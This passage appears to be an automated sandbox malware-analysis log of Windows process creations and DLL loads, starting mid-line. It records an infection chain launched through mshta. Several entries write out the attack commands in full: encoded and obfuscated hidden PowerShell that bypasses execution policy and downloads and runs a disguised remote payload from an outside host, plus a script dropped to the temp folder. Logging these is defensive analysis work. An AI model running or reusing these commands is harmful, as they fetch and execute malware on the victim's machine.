QXRBRmNBYVFCdUFHUUFid0IzQUZNQWRBQjVBR3dBWlFBZ0FFZ0FhUUJrQUdRQVpRQnVBQT09Oy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBKRnhLeW5paigpe2Z1bmN0aW9uIHZvck9jKCRlUFNySlpLKXtpZighKFRlc3QtUGF0aCAtUGF0aCAkSW5MKSl7Y3VybCAoU0xxICRlUFNySlpLKSAtbyAkSW5MfX19SkZ4S3luaWo7')))
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\backgroundTaskHost.exe "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX4325622ft6437f3xfywcfxgbedfvpn0x.mca
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWN3QTNBQzRBYXdCc0FHa0FjQUJrQUhrQWR3QnZBSG9BYVFCNUFDNEFjd0JvQUc4QWNBQXZBR2dBZFFCckFHc0FOd0F1QUdvQWNBQmxBR2NBSndBcEFDa0FZQUFpQUNJQUlBQXRBRmNBYVFCdUFHUUFid0IzQUZNQWRBQjVBR3dBWlFBZ0FFZ0FhUUJrQUdRQVpRQnVBQT09Oy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBKRnhLeW5paigpe2Z1bmN0aW9uIHZvck9jKCRlUFNySlpLKXtpZighKFRlc3QtUGF0aCAtUGF0aCAkSW5MKSl7Y3VybCAoU0xxICRlUFNySlpLKSAtbyAkSW5MfX19SkZ4S3luaWo7')))	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
